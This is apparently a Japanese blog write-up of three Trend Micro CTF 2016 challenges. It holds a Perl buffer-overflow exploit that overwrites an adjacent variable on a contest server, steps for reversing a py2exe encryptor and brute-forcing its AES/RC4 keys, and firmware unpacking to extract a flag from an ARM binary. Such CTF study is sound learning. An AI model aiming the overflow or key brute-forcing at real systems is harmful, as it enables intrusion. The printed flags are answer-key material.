Trend Micro CTF 2016 writeup
投稿日: 最終更新日:2017/01/15 投稿者:xx2zz
Trend Micro CTF 2016に一人チームで参加した。
3問解いて48位だった。
Analysis – Offensive
200
1024バイトのバッファに対して1028バイトrecvしてくれるので、隣接するintの変数が書き換え可能。
フラグを出力する分岐に入る値を送ればよい。
use strict; use IO::Socket; my $sock = IO::Socket::INET->new( PeerAddr => '52.197.128.90', PeerPort => 80, Proto => 'tcp' ); $|=1; $sock->autoflush(1); print read_until($sock, 'Welcome'); syswrite $sock, ("a"x1024) ."\xFE\xC0\x51\xBE"; while (1) { $sock->recv(my $data, 8192); print $data; } #$sock->close(); sub read_until { my $fd = shift; my $until = shift; my $ret = do {local $/=$until; <$fd>}; return $ret; }
※Flagはどこかいったので省略
スポンサーリンク
Analysis – Defensive
400
暗号化されたファイルと暗号化するプログラムが渡されるので、復号しろという問題。
最初の実行ファイルをzipとして展開するとまた別の実行ファイルが出てくる。
更に展開するとPythonのバイトコードファイルがたくさん出てくるので、Pythonスクリプトをexe化したものだとわかる。
ぐぐると、それらしいツールが2つぐらいヒットする。
ソースを眺めてみてpy2exeがそれっぽいとわかる。
py2exeはメインのスクリプトをリソース領域に埋め込んでいるらしいので、まずは「PYTHONSCRIPT」というリソースをダンプ。
py2exeのbuild_exe.pyを見ると、コードをコンパイルした後、ヘッダなどを追加しているので、メインのバイトコードだけを取り出す。
code_object = compile(file(self.custom_boot_script, "U").read() + "\n", os.path.abspath(self.custom_boot_script), "exec") code_objects.append(code_object) if script: code_object = compile(open(script, "U").read() + "\n", os.path.basename(script), "exec") code_objects.append(code_object) code_bytes = marshal.dumps(code_objects) if self.distribution.zipfile is None: relative_arcname = "" si = struct.pack("iiii", 0x78563412, # a magic value, self.optimize, self.unbuffered, len(code_bytes), ) + relative_arcname + "\000" script_bytes = si + code_bytes + '\000\000'
import marshal f = open("PYTHONSCRIPT.bin", "rb") data = f.read() obj = marshal.loads(data[17:-2]) f.close() f = open("002.pyc", "wb") f.write("\x03\xF3\x0D\x0A\x90\x6D\x75\x4D" + marshal.dumps(obj[2])) f.close()
あとは、uncompyle2というツールでバイトコードを逆コンパイルするとスクリプトが得られる。
暗号化は、
1. 実行毎にランダムで決まる鍵1でAES暗号化→Base64
2. 実行時の日付8桁(鍵2)でRC4暗号化
という流れで行われるが、これを10回繰り返している。
鍵2は”20160106″~”20163107″あたりを総当たりで試して、Base64っぽい文字列が得られれば当たりと判断できるが、「002.exe」の更新日時である”20163006″を試したら一発で当ててしまった。
鍵1は、10個の異なる文字から5個ランダムで選ぶので10^5で100000通り。
s = 'TrEndMicRo' key1 = '' for i in range(5): key1 = key1 + random.choice(s) key1 = '!' + key1 + key1 + key1 + key1 + key1 + key1 + '!'
鍵2は確定しているので、鍵2で復号化したデータを鍵1の候補で復号化し、さらにもう一度鍵2で復号化したときにBase64っぽい文字列であれば当たりと判断できる。
Pythonスクリプトで書かれたRC4の復号化には時間がかかるようだったので、RC4は先頭16バイト程を復号化して100000通り総当たりすると数分で鍵1が得られた。
for key in list(itertools.product("TrEndMicRo", repeat=5)): if cnt % 1000 == 0: print cnt cnt = cnt + 1 key1 = "".join(key) key1 = '!' + key1 + key1 + key1 + key1 + key1 + key1 + '!' decoded1 = aes_decrypt(key, decoded2) decoded0 = rc4_decrypt(decoded1, "20163006") if is_base64(decoded0) print key1
鍵1: !MdEccMdEccMdEccMdEccMdEccMdEcc!
鍵2: 20163006
得られた鍵で復号化するとPNG形式の画像になった。
Flag is a MD5 of original this file.
TMCTF{<input MD5>}
と書かれている。
復号化したファイルのMD5のことらしいが、なぜか通らず。
アルファベット部分を大文字にしたらいけた。
Flag: TMCTF{8457F2FDA0BF2BF1DB76121ED133B46E}
MD5ぐらい小文字でも通るようにしておいてほしい。こんなことに時間を使いたくない。
Misc(iot and network)
300
謎のスマートデバイスのファームウェアのアップデートファイルからフラグを得る問題。
「firmware.bin」をバイナリエディタで見ると、全体的にエントロピーが高いので、圧縮か暗号化がされているように思えるが、ヘッダらしき値も見られる。
gzipっぽいので先頭に1F 8Bをつけて展開すると、tarファイルが得られる。
binとかetcとかhomeとかが出てくる。
ファイルがいくつもあるので、”TMCTF”でgrepをかけると、bin/authがヒット。
ARMらしい。
$ file bin/auth auth: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0xb385cfba44717d2e168a6576ea289f6d85b69dc9, stripped
objdumpして”TMCTF{%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c}”を参照してるところを眺めると、なにやら引数らしき値をスタックにたくさん積んでるコードがある。
10754: e55b305b ldrb r3, [fp, #-91] ; 0x5b 10758: e58d3040 str r3, [sp, #64] ; 0x40 1075c: e58d203c str r2, [sp, #60] ; 0x3c 10760: e58d1038 str r1, [sp, #56] ; 0x38 10764: e58d0034 str r0, [sp, #52] ; 0x34 10768: e58dc030 str ip, [sp, #48] ; 0x30 1076c: e58de02c str lr, [sp, #44] ; 0x2c 10770: e58d4028 str r4, [sp, #40] ; 0x28 10774: e51b009c ldr r0, [fp, #-156] ; 0x9c 10778: e58d0024 str r0, [sp, #36] ; 0x24 1077c: e51b0098 ldr r0, [fp, #-152] ; 0x98 10780: e58d0020 str r0, [sp, #32] 10784: e51b0094 ldr r0, [fp, #-148] ; 0x94 10788: e58d001c str r0, [sp, #28] 1078c: e51b0090 ldr r0, [fp, #-144] ; 0x90 10790: e58d0018 str r0, [sp, #24] 10794: e58da014 str sl, [sp, #20] 10798: e58d9010 str r9, [sp, #16] 1079c: e58d800c str r8, [sp, #12] 107a0: e58d7008 str r7, [sp, #8] 107a4: e58d6004 str r6, [sp, #4] 107a8: e58d5000 str r5, [sp] 107ac: e51b308c ldr r3, [fp, #-140] ; 0x8c 107b0: e51b2088 ldr r2, [fp, #-136] ; 0x88 107b4: e51b1084 ldr r1, [fp, #-132] ; 0x84 107b8: e59f0064 ldr r0, [pc, #100] ; 0x10824 107bc: eb001a63 bl 0x17150
当該関数の最初のほうで”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-“をfp(r11)-0x6cにコピーしているっぽいコードがあるので、printf?の20文字分の引数を積んでるところで参照してるアドレスから表示される文字が分かる。
use strict; my @s = (); my $str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-'; $s[0x6c-$_] = substr($str, $_, 1) for (0..length($str)-1); #printf "%02X: %s\n", $_, $s[$_] for 0..$#s; my @p = ( 0x5B, 0x64, 0x48, 0x48, 0x32, 0x53, 0x57, 0x5D, 0x66, 0x30, 0x5A, 0x53, 0x55, 0x48, 0x59, 0x66, 0x6A, 0x61, 0x4E, 0x5D, ); print $s[$_] for reverse @p; print $/;
Flag: TMCTF{PeLCGTkXZS9GPVZ7kkIR}